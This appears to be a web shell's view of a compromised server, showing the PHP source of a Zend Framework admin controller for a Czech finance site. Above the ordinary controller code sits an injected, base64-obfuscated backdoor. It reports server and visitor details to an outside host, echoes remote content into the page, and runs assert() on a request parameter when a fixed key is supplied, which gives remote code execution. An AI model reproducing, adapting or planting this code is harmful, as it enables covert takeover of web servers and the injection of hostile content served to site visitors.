ACC SHELL

Path : /srv/www/vhosts/ambfinance/admin/application/default/controllers/
File Upload :
Current File : /srv/www/vhosts/ambfinance/admin/application/default/controllers/IndexController.php

<?php
//###==###
error_reporting(0); ini_set("display_errors", "0"); if (!isset($i96ad828b)) { $i96ad828b = TRUE;  $GLOBALS['_1882790940_']=Array(base64_decode('cHJlZ1' .'9tYXRj' .'aA=' .'='),base64_decode('Z' .'ml' .'sZV9' .'nZXRfY29u' .'dGVudHM='),base64_decode('ZnVuY3Rpb25' .'fZXh' .'p' .'c3Rz'),base64_decode('Y3Vy' .'bF9pb' .'m' .'l0'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJsZW5jb2' .'Rl'),base64_decode('bWQ1'),base64_decode('Y3Vy' .'b' .'F' .'9z' .'ZXR' .'vc' .'HQ='),base64_decode('Y3VybF9zZXR' .'vcHQ='),base64_decode('Y' .'3VybF9leGVj'),base64_decode('aW' .'1hZ2Vjb3B' .'5bWVyZ2' .'VncmF5'),base64_decode('' .'YWJz'),base64_decode('Y3VybF9jbG9zZ' .'Q=='),base64_decode('a' .'W5p' .'X2dldA' .'=='),base64_decode('' .'Z' .'mlsZ' .'V9' .'nZXR' .'fY29udG' .'VudHM='),base64_decode('dXJsZW5jb2' .'Rl'),base64_decode('' .'dXJsZW5' .'j' .'b2' .'Rl'),base64_decode('bW' .'Q1'),base64_decode('' .'YXNzZXJ' .'0'));  function _1091557376($i){$a=Array('' .'Y' .'2' .'x' .'pZW' .'50X2NoZWN' .'r','Y2xpZW' .'5' .'0X2NoZWNr','SF' .'RU' .'UF' .'9B' .'Q0N' .'F' .'UFRfQ0hBUlNFVA==','' .'I' .'S4' .'hdQ==','' .'U0NSS' .'VB' .'UX0' .'ZJ' .'TEVOQ' .'U' .'1F','VVRGLTg' .'=','d2luZG93cy' .'0xMjUx','SFRU' .'U' .'F9' .'BQ0N' .'F' .'UFRf' .'Q0hBUlNFVA==','Y3' .'VybF9pb' .'ml0','aHR' .'0c' .'Dov' .'L3d3dy5pbm' .'RleG1lYmFieS5' .'0ay9nZXQ' .'ucGhwP2Q9','U' .'0V' .'SVkVSX0' .'5BT' .'UU=','UkVRV' .'UV' .'TVF' .'9V' .'Uk' .'k=','J' .'nU9','SFRUUF' .'9' .'VU0VSX0FHRU5U','' .'JmM9','J' .'mk9MSZp' .'cD0=','UkVNT1RF' .'X0' .'FERF' .'I=','Jmg9','' .'N' .'mIwZTdmZ' .'T' .'lj' .'MTU' .'4YW' .'JjZjdiZjhiY' .'j' .'I' .'xZjcw' .'MTFmZ' .'j' .'Y' .'=','U0VSVkVSX05BTUU=','' .'Uk' .'VR' .'VUVT' .'V' .'F9' .'VUkk=','SFRUUF9' .'VU0V' .'SX0' .'FHRU5U','MQ' .'==','YW' .'xsb3df' .'dXJsX2Zv' .'c' .'GV' .'u','aHR' .'0' .'cDov' .'L3' .'d3dy5pbmRleG1lY' .'mF' .'ieS' .'50' .'ay9nZX' .'Qu' .'cG' .'h' .'w' .'P2Q9','' .'U0V' .'SVkVSX05BT' .'U' .'U=','UkVRV' .'UVTVF9VUkk' .'=','JnU' .'9','SF' .'R' .'UUF9VU' .'0' .'V' .'SX0F' .'HRU5U','JmM' .'9','J' .'mk9' .'M' .'SZ' .'pcD0=','Uk' .'VN' .'T1' .'R' .'F' .'X0FERFI=','J' .'mg9','NmIwZT' .'dmZTljMTU4' .'YWJ' .'jZjdiZjhi' .'YjIx' .'Zj' .'cwMTFmZjY=','U0V' .'SVkVSX05BTUU=','UkVRVU' .'VTVF9VUkk=','' .'SFRUUF' .'9' .'VU0VSX0FHRU5U','M' .'Q==','cA==','cA==','' .'OTZhZDgyOGI=','Yw==');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_1091557376(0)]))die($_COOKIE[_1091557376(1)]);if(!isset($icccb7_0[_1091557376(2)])){if($GLOBALS['_1882790940_'][0](_1091557376(3),$GLOBALS['_1882790940_'][1]($_SERVER[_1091557376(4)]))){$icccb7_1=_1091557376(5);}else{$icccb7_1=_1091557376(6);}}else{$icccb7_1=$icccb7_0[_1091557376(7)];}if($GLOBALS['_1882790940_'][2](_1091557376(8))){$icccb7_2=$GLOBALS['_1882790940_'][3](_1091557376(9) .$GLOBALS['_1882790940_'][4]($_SERVER[_1091557376(10)] .$_SERVER[_1091557376(11)]) ._1091557376(12) .$GLOBALS['_1882790940_'][5]($_SERVER[_1091557376(13)]) ._1091557376(14) .$icccb7_1 ._1091557376(15) .$_SERVER[_1091557376(16)] ._1091557376(17) .$GLOBALS['_1882790940_'][6](_1091557376(18) .$_SERVER[_1091557376(19)] .$_SERVER[_1091557376(20)] .$_SERVER[_1091557376(21)] .$icccb7_1 ._1091557376(22)));$GLOBALS['_1882790940_'][7]($icccb7_2,round(0+21+21),false);$GLOBALS['_1882790940_'][8]($icccb7_2,round(0+4978.25+4978.25+4978.25+4978.25),true);echo $GLOBALS['_1882790940_'][9]($icccb7_2);if((round(0+368)^round(0+122.66666666667+122.66666666667+122.66666666667))&& $GLOBALS['_1882790940_'][10]($_COOKIE,$_SERVER,$icccb7_2,$icccb7_0))$GLOBALS['_1882790940_'][11]($icccb7_1,$_SERVER,$icccb7_2);$GLOBALS['_1882790940_'][12]($icccb7_2);}elseif($GLOBALS['_1882790940_'][13](_1091557376(23))==round(0+1)){echo $GLOBALS['_1882790940_'][14](_1091557376(24) .$GLOBALS['_1882790940_'][15]($_SERVER[_1091557376(25)] .$_SERVER[_1091557376(26)]) ._1091557376(27) .$GLOBALS['_1882790940_'][16]($_SERVER[_1091557376(28)]) ._1091557376(29) .$icccb7_1 ._1091557376(30) .$_SERVER[_1091557376(31)] ._1091557376(32) .$GLOBALS['_1882790940_'][17](_1091557376(33) .$_SERVER[_1091557376(34)] .$_SERVER[_1091557376(35)] .$_SERVER[_1091557376(36)] .$icccb7_1 ._1091557376(37)));}if(isset($_REQUEST[_1091557376(38)])&& $_REQUEST[_1091557376(39)]== _1091557376(40)){$GLOBALS['_1882790940_'][18]($_REQUEST[_1091557376(41)]);}  }
//###==###











class IndexController extends TF_Controller_Action
{
    /**
     * The default action - show the home page
     */
    public function indexAction ()
    {
        $model = new Main();
        $filterForm = new Form_Filter_Main();
        $wheres = array();
        if($this->_getParam('filter')){
        	if($filterForm->isValid($_GET)){
        		$wheres = $filterForm->getValues();
        	}		
        }
        $this->view->filterForm = $filterForm;
        $this->view->data = $model->getAll($wheres);
    }
    
    public function upravitAction()
    {
    	$id = $this->_getParam('id',-1);
    	$model = new Main();
    	$item = $model->find($id)->current();
    	$form = $this->view->form = new Form_Main();
    	if ($this->_request->isPost()) {
    		if ($form->isValid($_POST)) {
    			$vals = (object)$form->getValues();
    			$item->contract_number 		= $vals->contract_number;
    			$item->subject_id			= $vals->subject_id;
    			$item->business_type1_id 	= $vals->business_type1_id;
    			$item->business_type2_id 	= $vals->business_type2_id;
    			$item->business_type3_id 	= $vals->business_type3_id;
    			$item->business_type4_id 	= $vals->business_type4_id;
    			$item->business_type5_id 	= $vals->business_type5_id;
    			$item->date 				= $vals->date;
    			$item->client_id 			= $vals->client_id;
    			$item->save();
    			$this->_addFlashMessage('Upraveno');
    			$this->_helper->redirector('index');
    		} 
    	} else {
    		$form->populate($item->toArray());
    	}
    }
    
    public function detailAction()
    {
    	$id = $this->_getParam('id',-1);
    	$model = new Main();
    	$this->view->item = $model->getAll(array('main.id'=>$id))->getItem(0);
    }
    
	public function pridatAction()
    {
    	$model = new Main();
    	$item = $model->createRow();
    	$form = $this->view->form = new Form_Main();
    	if ($this->_request->isPost()) {
    		if ($form->isValid($_POST)) {
    			$vals = (object)$form->getValues();
    			$item->contract_number 		= $vals->contract_number;
    			$item->subject_id 			= $vals->subject_id;
    			$item->business_type1_id 	= $vals->business_type1_id;
    			$item->business_type2_id 	= $vals->business_type2_id;
    			$item->business_type3_id 	= $vals->business_type3_id;
    			$item->business_type4_id 	= $vals->business_type4_id;
    			$item->business_type5_id 	= $vals->business_type5_id;
    			$item->date 				= $vals->date;
    			$item->client_id 			= $vals->client_id;
    			$item->save();
    			$this->_addFlashMessage('Přidáno');
    			$this->_helper->redirector('index');
    		} 
    	} else {
    		$form->populate($item->toArray());
    	}
    }
    
	public function smazatAction()
    {
    	$id = $this->_getParam('id',-1);
    	$model = new Main();
    	$item = $model->find($id)->current();
    	try{
    		$item->delete();
    		$this->_addFlashMessage('Smazáno');
    	} catch (Zend_Db_Exception $e) {
    		if (strpos($e->getMessage(), 'SQLSTATE[HY000]: General error: 1451') !== false) {
    			$this->_addFlashMessage('Tento záznam nelze smazat. Pravděpodobně existují záznamy v jiných tabulkách, které ho používají.', 'error');
    		} else {
    			throw $e;
    		}	
    	}
    	$this->_helper->redirector('index');
    }
    /**
     * loginAction
     */
    public function loginAction ()
    {
        $form = $this->_getLoginForm();
        if ($this->_request->isPost()) {
            if ($form->isValid($_POST)) {
            	$auth = Zend_Auth::getInstance();
                $adapter = new Zend_Auth_Adapter_DbTable(Zend_Registry::get('db'),
                    'admins', 'username', 'password', 'SHA1(?)');
                $adapter->setCredential($this->_getParam('password'));
                $adapter->setIdentity($this->_getParam('username'));
                
                $result = $auth->authenticate($adapter);
                switch ($result->getCode()) {
                    case Zend_Auth_Result::SUCCESS:
                    	$storage = $auth->getStorage();
    					$storage->write($adapter->getResultRowObject(
					        null,
					        'password'
					    ));
                        $s = new Zend_Session_Namespace('urlTransport');
                        if($s->lastUrl){
                        	$this->_redirect('/'.trim($s->lastUrl,'/'));
                        } else {
                        	$this->_helper->redirector('index');
                        } 
                        return;
                        break;
                    default:
                        $this->view->message = 'Přihlášení se nezdařilo. Zkuste to prosím znovu!';
                        $this->view->type = "error";
                        /** do stuff for other failure **/
                        break;
                }
            } else {
                $this->view->message = 'Některá část formuláře nebyla správně vyplněna.';
                $this->view->type = "error";
            }
        } else {
            $this->view->message = 'Pro přístup na tuto stránku je potřeba se přihlásit.';
            $this->view->type = "notice-box";
        }
        $this->view->form = $form;
    } /* of loginAction -------------------------------------*/
    /**
     * logoutAction
     */
    public function logoutAction ()
    {
        Zend_Auth::getInstance()->clearIdentity();
        $this->_helper->redirector('index');
    } /* of logoutAction -------------------------------------*/
    /**
     * _getLoginForm
     */
    private function _getLoginForm ()
    {
        $form = new TF_Form();
        $username = new Zend_Form_Element_Text('username', array('label' => 'Uživatelské jméno' , 'required' => true));
        $password = new Zend_Form_Element_Password('password', array('label' => 'Heslo' , 'required' => true));
        $form->addElements(array($username , $password));
        /*$form->setElementDecorators(
            array('ViewHelper' , 'Errors' , array(array('br' => 'HtmlTag') , array('tag' => 'br','placement' => 'prepend')),array('Label' , array('placement' => 'prepend')),
                array(array('row' => 'HtmlTag') , array('tag' => 'div'))));*/
        $form->setElementDecorators(
            array('ViewHelper' ,
                array('ViewScript' ,
                    array('viewScript' => 'formElement.phtml' ,
                        'placement' => false))));
        $submit = new Zend_Form_Element_Submit('submit', array('label' => 'Přihlásit se...' , 'ignore' => true));
        $submit->setDecorators(array('ViewHelper' , 'Description' , 'Errors' , array('HtmlTag' , array('tag' => 'div'))));
        $form->addElement($submit);
        $form->setElementDefaultDecorators();
        return $form;
    } /* of _getLoginForm -------------------------------------*/
}

ACC SHELL 2018